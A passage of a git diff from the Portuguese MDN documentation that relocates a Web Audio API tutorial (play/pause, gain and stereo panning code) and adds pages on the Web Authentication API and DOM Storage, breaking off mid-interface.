Nota: The <audio> element above is represented in the DOM by an object of type {{domxref("HTMLMediaElement")}}, which comes with its own set of functionality. All of this has stayed intact; we are merely allowing the sound to be available to the Web Audio API.

+
+ +

Controlar o som

+ +

When playing sound on the web, it's important to allow the user to control it. Depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right.

+ +
+

Nota: We need to take into account the new autoplay policy that modern browsers have, which calls for a user gesture before media can play (see Chrome's Autoplay Policy Changes, for example). This has been implemented because autoplaying media is really bad for many reasons — it is annoying and intrusive at the very least, and also causes accessibility problems. This is accounted for by our play/pause button.

+
+ +

Let's take a look at our play and pause functionality to start with. We have a play button that changes to a pause button when the track is playing:

+ +
<button data-playing="false" role="switch" aria-checked="false">
+    <span>Play/Pause</span>
+</button>
+
+ +

Before we can play our track we need to connect our audio graph from the audio source/input node to the destination.

+ +

We've already created an input node by passing our audio element into the API. For the most part, you don't need to create an output node, you can just connect your other nodes to {{domxref("BaseAudioContext.destination")}}, which handles the situation for you:

+ +
track.connect(audioCtx.destination);
+
+ +

A good way to visualise these nodes is by drawing an audio graph so you can visualize it. This is what our current audio graph looks like:

+ +

an audio graph with an audio element source connected to the default destination

+ +

Now we can add the play and pause functionality.

+ +
// select our play button
+const playButton = document.querySelector('button');
+
+playButton.addEventListener('click', function() {
+
+    // check if context is in suspended state (autoplay policy)
+    if (audioCtx.state === 'suspended') {
+        audioCtx.resume();
+    }
+
+    // play or pause track depending on state
+    if (this.dataset.playing === 'false') {
+        audioElement.play();
+        this.dataset.playing = 'true';
+    } else if (this.dataset.playing === 'true') {
+        audioElement.pause();
+        this.dataset.playing = 'false';
+    }
+
+}, false);
+
+ +

We also need to take into account what to do when the track finishes playing. Our HTMLMediaElement fires an ended event once it's finished playing, so we can listen for that and run code accordingly:

+ +
audioElement.addEventListener('ended', () => {
+    playButton.dataset.playing = 'false';
+}, false);
+
+ +

Um aparte sobre o editor de Áudio da Web

+ +

Firefox has a tool available called the Web Audio editor. On any page that has an audio graph running on it, you can open the developer tools, and use the Web Audio tab to view the audio graph, see what properties each node has available, and change the values of those properties to see what effect that has.

+ +

The Firefox web audio editor showing an audio graph with AudioBufferSource, IIRFilter, and AudioDestination

+ +
+

Nota: The Web Audio editor is not enabled by default. To display it, you need to go into the Firefox developer tools settings and check the Web Audio checkbox in the Default Developer Tools section.

+
+ +

Modificar o som

+ +

Let's delve into some basic modification nodes, to change the sound that we have. This is where the Web Audio API really starts to come in handy. First of all, let's change the volume. This can be done using a {{domxref("GainNode")}}, which represents how big our sound wave is.

+ +

There are two ways you can create nodes with the Web Audio API. You can use the factory method on the context itself (e.g. audioCtx.createGain()) or via a constructor of the node (e.g. new GainNode()). We'll use the factory method in our code:

+ +
const gainNode = audioCtx.createGain();
+
+ +

Now we have to update our audio graph from before, so the input is connected to the gain, then the gain node is connected to the destination:

+ +
track.connect(gainNode).connect(audioCtx.destination);
+
+ +

This will make our audio graph look like this:

+ +

an audio graph with an audio element source, connected to a gain node that modifies the audio source, and then going to the default destination

+ +

The default value for gain is 1; this keeps the current volume the same. Gain can be set to a minimum of about -3.4 and a max of about 3.4. Here we'll allow the boombox to move the gain up to 2 (double the original volume) and down to 0 (this will effectively mute our sound).

+ +

Let's give the user control to do this — we'll use a range input:

+ +
<input type="range" id="volume" min="0" max="2" value="1" step="0.01" />
+
+ +
+

Nota: Range inputs are a really handy input type for updating values on audio nodes. You can specify a range's values and use them directly with the audio node's parameters.

+
+ +

So let's grab this input's value and update the gain value when the input node has its value changed by the user:

+ +
const volumeControl = document.querySelector('#volume');
+
+volumeControl.addEventListener('input', function() {
+    gainNode.gain.value = this.value;
+}, false);
+
+ +
+

Nota: The values of node objects (e.g. GainNode.gain) are not simple values; they are actually objects of type {{domxref("AudioParam")}} — these called parameters. This is why we have to set GainNode.gain's value property, rather than just setting the value on gain directly. This enables them to be much more flexible, allowing for passing the parameter a specific set of values to change between over a set period of time, for example.

+
+ +

Great, now the user can update the track's volume! The gain node is the perfect node to use if you want to add mute functionality.

+ +

Adicionar panning estéreo à sua aplicação

+ +

Let's add another modification node to practise what we've just learnt.

+ +

There's a {{domxref("StereoPannerNode")}} node, which changes the balance of the sound between the left and right speakers, if the user has stereo capabilities.

+ +

Note: The StereoPannerNode is for simple cases in which you just want stereo panning from left to right. There is also a {{domxref("PannerNode")}}, which allows for a great deal of control over 3D space, or sound spatialisation, for creating more complex effects. This is used in games and 3D apps to create birds flying overhead, or sound coming from behind the user for instance.

+ +

To visualise it, we will be making our audio graph look like this:

+ +

An image showing the audio graph showing an input node, two modification nodes (a gain node and a stereo panner node) and a destination node.

+ +

Let's use the constructor method of creating a node this time. When we do it this way, we have to pass in the context and any options that that particular node may take:

+ +
const pannerOptions = {pan: 0};
+const panner = new StereoPannerNode(audioCtx, pannerOptions);
+
+ +
+

Nota: The constructor method of creating nodes is not supported by all browsers at this time. The older factory methods are supported more widely.

+
+ +

Here our values range from -1 (far left) and 1 (far right). Again let's use a range type input to vary this parameter:

+ +
<input type="range" id="panner" min="-1" max="1" value="0" step="0.01" />
+
+ +

We use the values from that input to adjust our panner values in the same way as we did before:

+ +
const pannerControl = document.querySelector('#panner');
+
+pannerControl.addEventListener('input', function() {
+    panner.pan.value = this.value;
+}, false);
+
+ +

Let's adjust our audio graph again, to connect all the nodes together:

+ +
track.connect(gainNode).connect(panner).connect(audioCtx.destination);
+
+ +

The only thing left to do is give the app a try: Check out the final demo here on Codepen.

+ +

Resumo

+ +

Great! We have a boombox that plays our 'tape', and we can adjust the volume and stereo panning, giving us a fairly basic working audio graph.

+ +

This makes up quite a few basics that you would need to start to add audio to your website or web app. There's a lot more functionality to the Web Audio API, but once you've grasped the concept of nodes and putting your audio graph together, we can move on to looking at more complex functionality.

+ +

Mais exemplos

+ +

There are other examples available to learn more about the Web Audio API.

+ +

The Voice-change-O-matic is a fun voice manipulator and sound visualization web app that allows you to choose different effects and visualizations. The application is fairly rudimentary, but it demonstrates the simultaneous use of multiple Web Audio API features. (run the Voice-change-O-matic live).

+ +

A UI with a sound wave being shown, and options for choosing voice effects and visualizations.

+ +

Another application developed specifically to demonstrate the Web Audio API is the Violent Theremin, a simple web application that allows you to change pitch and volume by moving your mouse pointer. It also provides a psychedelic lightshow (see Violent Theremin source code).

+ +

A page full of rainbow colours, with two buttons labeled Clear screen and mute.

+ +

Consulte também a nossa repositório de exemplos de áudio para mais exemplos.

diff --git a/files/pt-pt/web/api/web_audio_api/utilizar_api_audio_web/index.html b/files/pt-pt/web/api/web_audio_api/utilizar_api_audio_web/index.html deleted file mode 100644 index d9a72f2694..0000000000 --- a/files/pt-pt/web/api/web_audio_api/utilizar_api_audio_web/index.html +++ /dev/null @@ -1,259 +0,0 @@ ---- -title: Utilizar a API de Áudio da Web -slug: Web/API/Web_Audio_API/Utilizar_api_audio_web -tags: - - API - - API de Áudio da Web - - Guía - - Referencia - - Utilização - - básicos -translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API ---- -
{{DefaultAPISidebar("Web Audio API")}}
- -
-

Vamos ver como começar a utilizar a API de Áudio da Web. Nós iremos ver resumidamente alguns conceitos, e depois estudar um exemplo simples de caixa de som que nos permite carregar uma faixa de áudio, reproduzi-la e pausá-la, e alterar o seu volume e panning estéreo.

-
- -
-

The Web Audio API does not replace the <audio> media element, but rather complements it, just like <canvas> coexists alongside the <img> element. Your use case will determine what tools you use to implement audio. If you simply want to control playback of an audio track, the <audio> media element provides a better, quicker solution than the Web Audio API. If you want to carry out more complex audio processing, as well as playback, the Web Audio API provides much more power and control.

- -

A powerful feature of the Web Audio API is that it does not have a strict "sound call limitation". For example, there is no ceiling of 32 or 64 sound calls at one time. Some processors may be capable of playing more than 1,000 simultaneous sounds without stuttering.

-
- -

Código exemplo

- -

A nossa caixa de música parece-se com isto:

- -

A boombox with play, pan, and volume controls

- -

Note the retro cassette deck with a play button, and vol and pan sliders to allow you to alter the volume and stereo panning. We could make this a lot more complex, but this is ideal for simple learning at this stage.

- -

Check out the final demo here on Codepen, or see the source code on GitHub.

- -

Suporte para navegador

- -

Modern browsers have good support for most features of the Web Audio API. There are a lot of features of the API, so for more exact information, you'll have to check the browser compatibility tables at the bottom of each reference page.

- -

Gráficos de áudio

- -

Everything within the Web Audio API is based around the concept of an audio graph, which is made up of nodes.

- -

The Web Audio API handles audio operations inside an audio context, and has been designed to allow modular routing. Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. You have input nodes, which are the source of the sounds you are manipulating, modification nodes that change those sounds as desired, and output nodes (destinations), which allow you to save or hear those sounds.

- -

Several audio sources with different channel layouts are supported, even within a single context. Because of this modular design, you can create complex audio functions with dynamic effects.

- -

Contxeto de Áudio

- -

To be able to do anything with the Web Audio API, we need to create an instance of the audio context. This then gives us access to all the features and functionality of the API.

- -
// for legacy browsers
-const AudioContext = window.AudioContext || window.webkitAudioContext;
-
-const audioCtx = new AudioContext();
-
- -

So what's going on when we do this? A {{domxref("BaseAudioContext")}} is created for us automatically and extended to an online audio context. We'll want this because we're looking to play live sound.

- -
-

Note: If you just want to process audio data, for instance, buffer and stream it but not play it, you might want to look into creating an {{domxref("OfflineAudioContext")}}.

-
- -

Carregar som

- -

Now, the audio context we've created needs some sound to play through it. There are a few ways to do this with the API. Let's begin with a simple method — as we have a boombox, we most likely want to play a full song track. Also, for accessibility, it's nice to expose that track in the DOM. We'll expose the song on the page using an {{htmlelement("audio")}} element.

- -
<audio src="myCoolTrack.mp3" type="audio/mpeg"></audio>
-
- -
-

Nota: If the sound file you're loading is held on a different domain you will need to use the crossorigin attribute; see Cross Origin Resource Sharing (CORS)  for more information.

-
- -

To use all the nice things we get with the Web Audio API, we need to grab the source from this element and pipe it into the context we have created. Lucky for us there's a method that allows us to do just that — {{domxref("AudioContext.createMediaElementSource")}}:

- -
// get the audio element
-const audioElement = document.querySelector('audio');
-
-// pass it into the audio context
-const track = audioCtx.createMediaElementSource(audioElement);
-
- -
-

Nota: The <audio> element above is represented in the DOM by an object of type {{domxref("HTMLMediaElement")}}, which comes with its own set of functionality. All of this has stayed intact; we are merely allowing the sound to be available to the Web Audio API.

-
- -

Controlar o som

- -

When playing sound on the web, it's important to allow the user to control it. Depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right.

- -
-

Nota: We need to take into account the new autoplay policy that modern browsers have, which calls for a user gesture before media can play (see Chrome's Autoplay Policy Changes, for example). This has been implemented because autoplaying media is really bad for many reasons — it is annoying and intrusive at the very least, and also causes accessibility problems. This is accounted for by our play/pause button.

-
- -

Let's take a look at our play and pause functionality to start with. We have a play button that changes to a pause button when the track is playing:

- -
<button data-playing="false" role="switch" aria-checked="false">
-    <span>Play/Pause</span>
-</button>
-
- -

Before we can play our track we need to connect our audio graph from the audio source/input node to the destination.

- -

We've already created an input node by passing our audio element into the API. For the most part, you don't need to create an output node, you can just connect your other nodes to {{domxref("BaseAudioContext.destination")}}, which handles the situation for you:

- -
track.connect(audioCtx.destination);
-
- -

A good way to visualise these nodes is by drawing an audio graph so you can visualize it. This is what our current audio graph looks like:

- -

an audio graph with an audio element source connected to the default destination

- -

Now we can add the play and pause functionality.

- -
// select our play button
-const playButton = document.querySelector('button');
-
-playButton.addEventListener('click', function() {
-
-    // check if context is in suspended state (autoplay policy)
-    if (audioCtx.state === 'suspended') {
-        audioCtx.resume();
-    }
-
-    // play or pause track depending on state
-    if (this.dataset.playing === 'false') {
-        audioElement.play();
-        this.dataset.playing = 'true';
-    } else if (this.dataset.playing === 'true') {
-        audioElement.pause();
-        this.dataset.playing = 'false';
-    }
-
-}, false);
-
- -

We also need to take into account what to do when the track finishes playing. Our HTMLMediaElement fires an ended event once it's finished playing, so we can listen for that and run code accordingly:

- -
audioElement.addEventListener('ended', () => {
-    playButton.dataset.playing = 'false';
-}, false);
-
- -

Um aparte sobre o editor de Áudio da Web

- -

Firefox has a tool available called the Web Audio editor. On any page that has an audio graph running on it, you can open the developer tools, and use the Web Audio tab to view the audio graph, see what properties each node has available, and change the values of those properties to see what effect that has.

- -

The Firefox web audio editor showing an audio graph with AudioBufferSource, IIRFilter, and AudioDestination

- -
-

Nota: The Web Audio editor is not enabled by default. To display it, you need to go into the Firefox developer tools settings and check the Web Audio checkbox in the Default Developer Tools section.

-
- -

Modificar o som

- -

Let's delve into some basic modification nodes, to change the sound that we have. This is where the Web Audio API really starts to come in handy. First of all, let's change the volume. This can be done using a {{domxref("GainNode")}}, which represents how big our sound wave is.

- -

There are two ways you can create nodes with the Web Audio API. You can use the factory method on the context itself (e.g. audioCtx.createGain()) or via a constructor of the node (e.g. new GainNode()). We'll use the factory method in our code:

- -
const gainNode = audioCtx.createGain();
-
- -

Now we have to update our audio graph from before, so the input is connected to the gain, then the gain node is connected to the destination:

- -
track.connect(gainNode).connect(audioCtx.destination);
-
- -

This will make our audio graph look like this:

- -

an audio graph with an audio element source, connected to a gain node that modifies the audio source, and then going to the default destination

- -

The default value for gain is 1; this keeps the current volume the same. Gain can be set to a minimum of about -3.4 and a max of about 3.4. Here we'll allow the boombox to move the gain up to 2 (double the original volume) and down to 0 (this will effectively mute our sound).

- -

Let's give the user control to do this — we'll use a range input:

- -
<input type="range" id="volume" min="0" max="2" value="1" step="0.01" />
-
- -
-

Nota: Range inputs are a really handy input type for updating values on audio nodes. You can specify a range's values and use them directly with the audio node's parameters.

-
- -

So let's grab this input's value and update the gain value when the input node has its value changed by the user:

- -
const volumeControl = document.querySelector('#volume');
-
-volumeControl.addEventListener('input', function() {
-    gainNode.gain.value = this.value;
-}, false);
-
- -
-

Nota: The values of node objects (e.g. GainNode.gain) are not simple values; they are actually objects of type {{domxref("AudioParam")}} — these called parameters. This is why we have to set GainNode.gain's value property, rather than just setting the value on gain directly. This enables them to be much more flexible, allowing for passing the parameter a specific set of values to change between over a set period of time, for example.

-
- -

Great, now the user can update the track's volume! The gain node is the perfect node to use if you want to add mute functionality.

- -

Adicionar panning estéreo à sua aplicação

- -

Let's add another modification node to practise what we've just learnt.

- -

There's a {{domxref("StereoPannerNode")}} node, which changes the balance of the sound between the left and right speakers, if the user has stereo capabilities.

- -

Note: The StereoPannerNode is for simple cases in which you just want stereo panning from left to right. There is also a {{domxref("PannerNode")}}, which allows for a great deal of control over 3D space, or sound spatialisation, for creating more complex effects. This is used in games and 3D apps to create birds flying overhead, or sound coming from behind the user for instance.

- -

To visualise it, we will be making our audio graph look like this:

- -

An image showing the audio graph showing an input node, two modification nodes (a gain node and a stereo panner node) and a destination node.

- -

Let's use the constructor method of creating a node this time. When we do it this way, we have to pass in the context and any options that that particular node may take:

- -
const pannerOptions = {pan: 0};
-const panner = new StereoPannerNode(audioCtx, pannerOptions);
-
- -
-

Nota: The constructor method of creating nodes is not supported by all browsers at this time. The older factory methods are supported more widely.

-
- -

Here our values range from -1 (far left) and 1 (far right). Again let's use a range type input to vary this parameter:

- -
<input type="range" id="panner" min="-1" max="1" value="0" step="0.01" />
-
- -

We use the values from that input to adjust our panner values in the same way as we did before:

- -
const pannerControl = document.querySelector('#panner');
-
-pannerControl.addEventListener('input', function() {
-    panner.pan.value = this.value;
-}, false);
-
- -

Let's adjust our audio graph again, to connect all the nodes together:

- -
track.connect(gainNode).connect(panner).connect(audioCtx.destination);
-
- -

The only thing left to do is give the app a try: Check out the final demo here on Codepen.

- -

Resumo

- -

Great! We have a boombox that plays our 'tape', and we can adjust the volume and stereo panning, giving us a fairly basic working audio graph.

- -

This makes up quite a few basics that you would need to start to add audio to your website or web app. There's a lot more functionality to the Web Audio API, but once you've grasped the concept of nodes and putting your audio graph together, we can move on to looking at more complex functionality.

- -

Mais exemplos

- -

There are other examples available to learn more about the Web Audio API.

- -

The Voice-change-O-matic is a fun voice manipulator and sound visualization web app that allows you to choose different effects and visualizations. The application is fairly rudimentary, but it demonstrates the simultaneous use of multiple Web Audio API features. (run the Voice-change-O-matic live).

- -

A UI with a sound wave being shown, and options for choosing voice effects and visualizations.

- -

Another application developed specifically to demonstrate the Web Audio API is the Violent Theremin, a simple web application that allows you to change pitch and volume by moving your mouse pointer. It also provides a psychedelic lightshow (see Violent Theremin source code).

- -

A page full of rainbow colours, with two buttons labeled Clear screen and mute.

- -

Consulte também a nossa repositório de exemplos de áudio para mais exemplos.

diff --git a/files/pt-pt/web/api/web_authentication_api/index.html b/files/pt-pt/web/api/web_authentication_api/index.html new file mode 100644 index 0000000000..ecc97dd5c0 --- /dev/null +++ b/files/pt-pt/web/api/web_authentication_api/index.html @@ -0,0 +1,149 @@ +--- +title: APi de Autenticação da Web +slug: Web/API/API_Autenticacao_Web +tags: + - API + - API de Autenticação da Web + - Landing + - Referencia +translation_of: Web/API/Web_Authentication_API +--- +
{{draft}}{{SeeCompatTable}}{{securecontext_header}}{{DefaultAPISidebar("Web Authentication API")}}
+ +

A "API de Autenticação da Web" é uma extensão de Credential Management API que permite uma autenticação forte com a criptografia de chave pública, permitindo a autenticação sem palavra-passe e/ou autenticação de segundo fator segura sem textos de SMS.

+ +

Conceitos e utilização da autenticação da Web

+ +

The Web Authtentication API (also referred to as WebAuthn) uses asymmetric (public-key) cryptography instead of passwords or SMS texts for registering, authenticating, and second-factor authentication with websites. This resolves significant security problems related to phishing, data breaches, and attacks against SMS texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords).

+ +

Many websites already have pages that allow users to register new accounts or sign in to an existing account, and WebAuthn acts as a replacement or suppliment to those on those existing webpages. Similar to the other forms of the Credential Management API, the Web Authentication API has two basic methods that correspond to register and login:

+ + + +

Por favor, note: both create() and get() require a Secure Context (e.g. - the server is connected by https or is the localhost), and will not be available for use if the browser is not operating in a secure context.

+ +

In their most basic forms, both create() and get() receive a very large random number called a challenge from the server and they return the challenge signed by the private key back to the server. This proves to the server that a user is in possession of the private key required for authentication without revealing any secrets over the network.

+ +

In order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser:

+ +
    +
  1. Servidor - the WebAuthn API is intended to register new credentials on a server (also referred to as a service or a relying party) and later use those same credentials on that same server to authenticate a user.
  2. +
  3. Autenticador - the credentials are created and stored in a device called an authenticator. This is a new concept in authentication: when authenticating using passwords, the password is stored in a user's brain and no other device is needed; when authenticating using WebAuthn, the password is replaced with a key pair that is stored in an authenticator. The authenticator may be embedded into an operating system, such as Windows Hello, or may be a physical token, such as a USB or Bluetooth Security Key.
  4. +
+ +

Registo

+ +

A typical registration process has six steps, as illustrated in Figure 1 and described further below. This is a simplification of the data required for the registration process that is only intended to provide an overview. The full set of required fields, optional fields, and their meanings for creating a registration request can be found in the {{domxref("PublicKeyCredentialCreationOptions")}} dictionary. Likewise, the full set of response fields can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAttestationResponse")}} interface). Note most JavaScript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means.

+ +

WebAuthn registration component and dataflow diagram

+ +

Figura 1 - a diagram showing the sequence of actions for a WebAuthn registration and the essential data associated with each action.

+ +

Os passos de registo são:

+ +
    +
  1. Registo de Pedidos da Aplicação - The application makes the initial registration request. The protocol and format of this request is outside of the scope of WebAuthn.
  2. +
  3. Servidor Envia Desafio, Informação do Utilziador, e Envio de Informação de Confiança - The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of WebAuthn. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the create() call, typically with little or no modification and returns a Promise that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. Note that it is absolutely critical that the challenge be a large buffer of random information (e.g. - more than 100 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.
  4. +
  5. Navegador Chama o authenticatorMakeCredential() no Autenticador - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
  6. +
  7. Autenticador Cria Novo Par de Chave e Certificação - Before doing anything, the authenticator will typically ask for some form of user verficiation. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting of the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authtenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.
  8. +
  9. Autenticador Devolve os Dados para o Navegador - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.
  10. +
  11. Navegador Cria os Dados Finais, a Aplicação envia a resposta para o Servidor - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and {{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).
  12. +
  13. Servidor Valida e Finaliza o Registo - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include: +
      +
    1. Verifying that the challenge is the same as the challenge that was sent
    2. +
    3. Ensuring that the origin was the origin expected
    4. +
    5. Validating that the signature over the clientDataHash and the attestation using the certificate chain for that specific model of authenticator
    6. +
    + A complete list of validation steps can be found in the WebAuthn specification. Assuming that the checks pan out, the server will store the new public key associated with the user's account for future use -- that is, whenever the user desires to use the public key for authentication.
  14. +
+ +

Autenticação

+ +

After a user has registered with WebAuthn, they can subsequently authenticate (a.k.a. - login or sign-in) with the service. The authentication flow looks similar to the registration flow, and the illustration of actions in Figure 2 may be recognizable as being similar to the illustration of registration actions in Figure 1. The primary differences between registration and authentication are that: 1) authentication doesn't require user or relying party information; and 2) authentication creates an assertion using the previously generated key pair for the service rather than creating an attestation with the key pair that was burned into the authenticator during manufacturing. Again, the discription of authentication below is a broad overview rather than getting into all the options and features of WebAuthn. The specific options for authenticating can be found in the {{domxref("PublicKeyCredentialRequestOptions")}} dictionary, and the resulting data can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAssertionResponse")}} interface) .

+ +

WebAuthn authentication component and dataflow diagram

+ +

Figure 2 - similar to Figure 1, a diagram showing the sequence of actions for a WebAuthn authentication and the essential data associated with each action.

+ +
    +
  1. Auyenticação dos Pedidos da Aplicação - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of WebAuthn.
  2. +
  3. Servidor Envia Desafio - The server sends a challenge JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of WebAuthn. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the get() call, typically with little or no modification. Note that it is absolutely critical that the challenge be a large buffer of random information (e.g. - more than 100 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.
  4. +
  5. Navegador Chama o authenticatorGetCredential()  no Autenticador - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
  6. +
  7. Autenticador Cria uma Certificação  - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.
  8. +
  9. Autenticador Devolve os Dados para o Navegador -  The authenticator returns the authenticatorData and assertion signature back to the browser.
  10. +
  11. Navegador Cria os Dados Finais, a Aplicação envia a resposta para o Servidor - The browser resolves the Promise to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.
  12. +
  13. Servidor Valida e Finaliza a Autenticação - Upon receiving the result of the authentication request, the server performs validation of the response such as: +
      +
    1. Using the public key that was stored during the registration request to validate the signature by the authenticator.
    2. +
    3. Ensuring that the challenge that was signed by the authenticator matches the challenge that was generated by the server.
    4. +
    5. Checking that the Relying Party ID is the one expected for this service.
    6. +
    + A full list of the steps for validating an assertion can be found in the WebAuthn specification. Assuming the validation is successful, the server will note that the user is now authenticated. This is outside the scope of the WebAuthn specification, but one option would be to drop a new cookie for the user session.
  14. +
+ +

Interfaces

+ +
+
{{domxref("CredentialsContainer")}}
+
WebAuthn extends the Credential Management API's create() and get() methods to take a new option: publicKey. When the publicKey option is passed to create() and / or get(), the Credential Management API will create a new public key pair or get an authentication for a key pair, respectively.
+
{{domxref("PublicKeyCredential")}}
+
A credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
+
{{domxref("AuthenticatorResponse")}}
+
Part of the PublicKeyCredential, the AuthenticatorResponse includes information from the browser (such as the challenge and origin); as well as information from the authenticator such as an AuthenticatorAttestationResponse (for new credentials) or an AuthenticatorAssertionResponse (when authenticating with existing credentials).
+
{{domxref("AuthenticatorAttestationResponse")}}
+
When a PublicKeyCredential has been created with the create() call, it will include an AuthenticatorAttestationResponse. This is the authenticator's way of providing a cryptographic root of trust for the new key pair that has been generated.
+
{{domxref("AuthenticatorAssertionResponse")}}
+
When a PublicKeyCredential is the result of a get() call, it will include an AuthenticatorAssertionResponse. This is the authenticator's way of proving to a service that it has the key pair and that the authentication request is valid and approved.
+
+ +

Opções

+ +
+
{{domxref("PublicKeyCredentialCreationOptions")}}
+
The options for creating a credential via navigator.credentials.create()
+
{{domxref("PublicKeyCredentialRequestOptions")}}
+
The options for using a credential via navigator.credentials.get()
+
+ +

Exemplos

+ + + +

Especificações

+ + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('WebAuthn')}}{{Spec2('WebAuthn')}}Definção inicial.
+ +

Compatibilidade do Navegador

+ +
+
+ + +

{{Compat("api.PublicKeyCredential")}}

+
+
+ +

Consulte também:

+ + diff --git a/files/pt-pt/web/api/web_storage_api/index.html b/files/pt-pt/web/api/web_storage_api/index.html new file mode 100644 index 0000000000..7287b4bca5 --- /dev/null +++ b/files/pt-pt/web/api/web_storage_api/index.html @@ -0,0 +1,108 @@ +--- +title: DOM Storage +slug: DOM/Storage +--- +

{{ ApiRef() }} {{ Fx_minversion_header(2) }}

+

Resumo

+

DOM Storage é o nome dado ao conjunto de características de armazenamento relacionadas (storage-related features) inicialmente apresentadas na especificação Web Applications 1.0, e agora dividida em sua própria especificação W3C Web Storage. DOM Storage foi desenhado para proporcionar uma alternativa mais segura e fácil de usar, para o armazenamento de informações em cookies. Atualmente ela está disponível somente nos navegadores baseados no Mozilla e WebKit, começando notavelmente com o Firefox 2 e o Safari 4.

+
+ Nota: DOM Storage não é o mesmo que mozStorage (Interface XPCOM da Mozilla para o SQLite) ou Session store API (uma ferramenta de armazenamento XPCOM para uso de extensões).
+

Descrição

+

O mecanismo DOM Storage é um meio através do qual pares de strings de chaves/valores podem ser armazenados com segurança e mais tarde recuperados para uso.  A meta desta adição é proporcionar um meio compreensível através do qual aplicações interativas possam ser construídas (incluindo habilidades avançadas, tal como ser capaz de trabalhar "offline" por períodos de tempo maiores).

+

Atualmente, somente navegadores baseados no Mozilla, Internet Explorer 8 beta 2 e Safari (não outros navegadores baseados em webkit, por exemplo, o Google Chrome) proporcionam um trabalho de implementação da especificação do DOM Storage. O Internet Explorer anterior a versão 8 tem uma característica similar chamada "userData behavior" que permite guardar dados através de múltiplas sessões do navegador.

+

Dom Storage é útil porque não existem métodos diretamente nos navegadores, bons para guardar quantidades de dados razoáveis por qualquer período de tempo. Os cookies do navegador (Browser cookies) tem uma capacidade limitada e não proporcionam suporte para organizar dados armazenados, e outros métodos (tal como Flash Local Storage) que requerem um plugin externo.

+

Umas dos primeiros aplicativos públicos a fazer uso da nova funcionalidade DOM Storage (em adição ao userData Behavior do Internet Explorer) foi o halfnote (um aplicativo de tomada de notas) escrito por Aaron Boodman. Em seu aplicativo, Aaron simultaneamente salvava notas no servidor (quando a conexão a internet estava disponível) e em um armazenamento local de dados. Isto permitia ao usuário escrever seguramente, cópias de notas mesmo com uma conexão esporádica à internet.

+

Embora o conceito e implementação apresentados no halfnote seja comparativamente simples, sua criação mostra a possibilidade para uma nova geração de aplicativos web que sejam utilizáveis tanto online quanto offline.

+

Referência

+

A seguir vem objetos globais que existem como propriedades de todos os window object. Isto significa que eles podem ser acessados por sessionStorage ou window.sessionStorage. (Isto é importante porque você pode então usar IFrames para armazenar, ou acessar, dados adicionais, além do que está imediatamente incluído em sua página).

+

Storage

+

Este é um construtor (Storage) para todas as instâncias Storage (sessionStorage e globalStorage[location.host]). Storage.prototype.removeKey = function(key){ this.removeItem(this.key(key)) } assim configuradao, pode ser acessado como localStorage.removeKey e sessionStorage.removeKey.

+

Itens globalStorage não são instâncias de Storage, e sim uma instância de StorageObsolete.

+

Storage é definido pelo WhatWG Storage Interface como:

+
interface Storage {
